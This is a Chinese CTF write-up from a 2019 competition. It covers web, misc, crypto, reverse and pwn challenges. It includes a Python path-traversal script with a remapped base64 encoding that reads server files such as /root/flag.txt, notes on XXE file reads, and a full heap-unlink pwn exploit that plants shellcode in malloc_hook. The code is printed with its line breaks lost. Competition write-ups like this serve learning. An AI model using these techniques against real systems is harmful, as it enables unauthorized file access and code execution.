跟SUS_2019的大哥们一起打的比赛,记录一下

web

web1

web签到,像这种前端游戏,一般逻辑都在js里面所以直接看cqg.js,无脑赋值socre=15,出来flag

web2

burp启动,数据xml格式,猜测xxe,直接system读文件,可以读到,那么接下来读取源码试试,刚开始读index.php没读到,得用php://filter伪协议去读,路径/var/www/html/index.php

web3

本来以为是加密,试了半天不是,看起来文件任意读取的地方参数像个base64的字符串,然而并不是正常的base64,除了=等号不变,其它部分像是转换了,所以就是一个简单的base64移位转换,所以直接上burp,intruder几个不同名字的jpg,然后找到其转换规则,直接读取hint中提示的文件

```python#coding:utf-8import requests as reqimport base64 as b64import urllib#D4hpAXj= =>7.jpg=<Ny5qcGc=#64个字符A-Z,a-z,0-9,+,/

trans_box = {'+': 'u', '/': 'A', '1': '0','7': 'I', '9': 'k',  'K': '6', 'M': 'Z', 'O': '2', 'Q': '+','A': 'b', '3': 'C', '0': 'Y', '2': 'P', '4': 'y', '6': 'e', '8': 'v', 'B': 'z', 'D': 'N', 'F': 't', 'H': 'x', 'J': 'U', 'L': 'X', 'N': 'F', 'P': 'V', 'R': 'q', 'T': 'a', 'V': 'l', 'X': 'm', 'Z': 'S', 's': 'p', 'u': 's', 'w': 'O', 'y': 'D', 'E': '\\', 'b': '4', 'd': 'B', 'f': 'h', 'h': '5', 'j': 'c', 'l': 'M', 'n': '9', 'p': 'w', 'r': '1', 't': '8', 'v': 'o', 'x': 'i', 'z': 'K','=':'=','5': 'T',  'C': 'J', 'G': '7', 'I': 'f', 'S': 'd', 'U': '3', 'W': 'R', 'Y': 'W', 'a': 'L', 'c': 'r', 'e': 'g', 'g': 'n', 'i': 'E', 'k': 'j', 'm': 'G', 'o': 'H', 'q': 'Q'}print len(trans_box.keys())def get_key (dict, value):return [k for k, v in dict.items() if v == value]def zhuanhuan(b):payload=""for i in range(len(b)):payload = payload + get_key(trans_box,b[i])[0]return payloaddef exp(a):b = b64.b64encode(a)print  bc = zhuanhuan(b)payload = urllib.quote(c)print payloadres = req.get('http://743d9d231a084055b92ea11b480e47c545be52d430074b21.changame.ichunqiu.com/img.php?name={}'.format(payload))print res.urlprint res.contentif __name__ == '__main__':exp('../../../../../../var/www/html/templates/upload.html')#exp('../../../../../../proc/self/cwd/templates/upload.html')#exp('../../../../../../root/flag.txt')

```

Misc

misc1

签到,直接看到TXT,直接反查域名的TXT记录即可得到flag,

http://dbcha.com/?t=1565832996

misc2

win上下载后直接拖到最后发现密码,然后打开压缩包得到一张图片,继续打开它

发现有一段奇怪的文字,百度了一下

0ox!加密,找了个在线揭秘网站进行解密即可得到flag

https://www.splitbrain.org/services/ook

misc3

是张图片,binwalk分离,得到一个加密的压缩包,尝试爆破无果,

回来看第一张图片,学弟见过这种编码,核心价值观编码。。。。,直接在线解码得到压缩包密码http://ctf.ssleye.com/cvencode.html

得到压缩包密码为CodeValues,然后出来一张图片

藏了一个二维码,百度了一下这种datamatric二维码也可以直接解码,先用steglove转为黑白图,然后截图二维码这一部分,然后用win画图工具擦掉旁边多余的部分就可以解码了

misc4

下载压缩包,解压得到一个 七代目.gif。无法正常打开,用010editor看一眼,是png的文件头。

那就直接根据文件后缀修改,把89504E47改成gif的47494638,gif即被修复。然后找个在线网站,分解一下这个gif https://tu.sioe.cn/gj/fenjie/。

这么多图,一个个分析肯定累死人。题目名字七代目,那就直接把第七张图掏出来看。Binwalk什么的走一遍感觉已经没有藏得私货了,用stegsolve打开看一下LSB。结果刚打开调一下就出flag了

Crypto

crypto1

题目说sm4加密,直接百度

github下载安装gmssl,直接解密即可

crypto2

题目中给了RSA算法中的e,n,dp,c,其中。想到之前看过的一叶飘零的blog(https://zhuanlan.zhihu.com/p/43033684)关于dp和dq的解法,改一下数据就可以得到最终结果,payload如下:

然后得到16进制字符串在线解码就得到flag

Re

Re1

控制流平坦化,拿工具跑一下,前几个check验证了flag的格式,最后一个check将输入进行变化和特定的字符串比较。
ABCDEFGHIJ的话就加上48,如果是-就不变化,其他的减去17
s3 = [ 'J', '2', '2', '6', '1', 'C', '6', '3', '-', '3', 'I', '2', 'I', '-', 'E', 'G', 'E', '4', '-', 'I', 'B', 'C', 'C', '-', 'I', 'E', '4', '1', 'A', '5', 'I', '5', 'F', '4', 'H', 'B']
s3 = "".join(s3)
f = ""
for i in range(len(s3)):m = s3[i]q1 = chr(ord(m) - 17)q2 = chr(ord(m) + 48)if m == "-":f += "-"elif m in "ABCDEFGHIJ":f += q1else:f += q2print f

RE2

稍微看一下就能知道

前面的计算是算平方数

后面的计算是算10000内素数的个数

Pwn

Pwn1

在Edit的时候能够,让size多出一字节,然后就可以Unlink了,保护全关,静态链接,可以写shellcode到malloc_hook

from pwn import *from time import sleepimport base64context.log_level = 'debug'context.arch = 'i386'p = process("./pwn")f = ""n = "\n"def Add(size, con):global fp.sendline("1")p.sendline(str(size))p.sendline(con)f += "1" + n + str(size) + n + con + ndef Del(idx):global fp.sendline("2")p.sendline(str(idx))f += "2" + n + str(idx) + ndef Edit(idx, con):global fp.sendline("3")p.sendline(str(idx))p.sendline(con)f += "3" + n + str(idx) + n + con + nf = ""note_size = 0x80eba00note_ptr  = 0x80eba40sc =  asm(shellcraft.i386.linux.sh())malloc_hook = 0x80ea4d8Add(0x64, "0" * 0x64)Add(0x64, "0" * 0x64)Add(0x64, "0" * 0x64)Add(0x64, "0" * 0x64)Add(0x68, "0" * 0x68)Add(0x64, "0" * 0x64)_id = 3Edit(_id, "0" * 0x65)ptr = note_ptr + 4 * _idfake_fd = ptr - 12fake_bk = ptr - 8fake  = p32(1) + p32(0x61)fake += p32(fake_fd) + p32(fake_bk)fake = fake.ljust(0x60, chr(0x60))fake += p32(0x60)fake += "\x70\x00"bss_end = 0x80ebe0bEdit(_id, fake)# raw_input()
Del(_id + 1)Edit(_id, p32(malloc_hook))Edit(_id, p32(malloc_hook) + p32(bss_end))Edit(0, p32(bss_end))Edit(1, sc)Add(0x64, 'cat flag')print base64.b64encode(f)p.interactive()

转载于:https://www.cnblogs.com/wfzWebSecuity/p/11366191.html

2019网络与信息安全专项赛题解相关推荐

  1. 多校联考 CSP-J 2019 第三次模拟赛 题解

    Notice :1.T4算法7的f(t)f(t)f(t)函数写错了-已更正. 2. 之后(可能)会发git链接. 3. 欢迎评论. 4. T4是有O(n2log⁡n)O(n^2 \log n)O(n2 ...

  2. 2019年全国职业院校技能大赛中职组“网络空间安全”正式赛卷及其“答案”

    2019年全国职业院校技能大赛中职组 "网络空间安全"正式赛卷 环境需要可以私信博主,答案在文章最末尾 一.竞赛阶段 竞赛阶段 任务阶段 竞赛任务 竞赛时间 分值 第一阶段 单兵模 ...

  3. 2019重庆整治金融乱象出实招:依法处置高风险机构 推进网络借贷风险专项整治...

    1月31日,记者从重庆银保监局获悉,2018年,重庆市银行业和保险业保持稳健运行,银行业各项存款.贷款同比增长5.7%.13.5%,新增贷款占全市社会融资规模的79.1%,保险业为全市提供风险保障42 ...

  4. 2019 国家网信办启动网络生态治理专项行动 剑指12类违法违规互联网信息

    2019年01月03日 14:00:00 来源: 中国网信网 近日,针对网络生态问题频发.各类有害信息屡禁不止等突出问题,为积极回应民众关切,国家网信办启动网络生态治理专项行动. 据悉,此次专项行动于 ...

  5. Comet OJ 2019 夏季欢乐赛题解

    Comet OJ 2019 夏季欢乐赛题解 我是来骗访问量的 A 完全k叉树 \(n\)个点的完全k叉树的直径. 直接做 B 距离产生美 直接做 C 烤面包片 \(n!!!\mod p\) 显然\(n ...

  6. 中国高校计算机大赛网络技术挑战赛,2019年度“中国高校计算机大赛-网络技术挑战赛”国赛圆满落幕...

    2019年9月15日,2019年度"中国高校计算机大赛-网络技术挑战赛"国赛在温州大学举行,并在当晚迎来盛大的颁奖典礼,历时半年的网络技术作品类竞赛至此圆满落幕. 中国高校计算机大 ...

  7. WHU校赛2019(网络赛) 解题报告(CCNU_你们好强啊我们都是面包手) Apare_xzc

    WHU校赛2019(网络赛) 解题报告 CCNU_你们好强啊我们都是面包手(xzc zx lj) 战况: 比赛时3题,排名57,现在5题了 题目链接: WHU校赛2019 <-戳这里 以下题目按 ...

  8. 【CTF题解NO.00001】西安电子科技大学网络与信息安全学院2020年网络空间安全专业实验班选拔考试 - write up by arttnba3

    [CTF题解NO.00001]西安电子科技大学网络与信息安全学院2020年网络空间安全专业实验班选拔考试 - write up by arttnba3 0x00.绪论 0x01.PWN (AK) cm ...

  9. 【融创同智 竞促发展】2019AIIA杯人工智能巡回赛及专项赛工作通气会在京成功召开

    3月29日,"2019AIIA杯人工智能巡回赛及专项赛"工作通气会在北京顺利举办.工业和信息化部科技司高技术处副处长俞文心到会并致辞,本次会议由中国信息通信研究院副总工程师.中国人 ...

最新文章

  1. Java中深浅拷贝之List
  2. 随机生成100万个数,排序后保存在文件中
  3. Java三元表达式学习笔记
  4. 工作流学习——Activiti整体认识二步曲
  5. T-SQL语句学习(三)
  6. [转载] Java中this和super关键字分别是什么意思
  7. jquery easyui datagrid js获取记录数 页数 当前页
  8. 95-35-010-Topic-Topic的新建 源码解析
  9. 服务器指示灯详情 中兴,IBM服务器故障_指示灯介绍
  10. 菜鸟教程java二维数组_asp数组的使用介绍
  11. 2018数据可视分析挑战赛-二等奖作品及历年优秀作品
  12. Leetcode10. Regular Expression Matching
  13. python读取文件UnicodeDecodeError: 'gbk' codec can't decode byte 0xfe in position 575056: illegal multiby
  14. u3d计算机获取键盘输入,Unity 中的键盘输入
  15. div和div之间画横线_HTML在两个div标签中间画一条竖线的方法
  16. 怎么屏蔽百度搜索时的百度热榜?
  17. OpenCV学习笔记-傅里叶变换
  18. Windows畸形文件夹
  19. MATLAB入门教程(基础知识点)
  20. 统计单词的数量----Python

热门文章

  1. 音频领域中POP音相关问题
  2. 深度好文:阿里巴巴高级专家对组建技术团队的一些思考
  3. 磁盘、柱面、磁道、磁头、扇区
  4. Java针对不同视频格式进行转码
  5. python 方差分解_干货 :教你用Python来计算偏差-方差权衡
  6. 钉钉ppt放映显示备注_[备注] 钉钉使用教程
  7. css\css3\html5综合实验案例
  8. 人类史上首张黑洞照片亮相
  9. 商城电商day05商品sku保存
  10. 联想G480a 3230 Win7 操作系统 解决 小键盘问题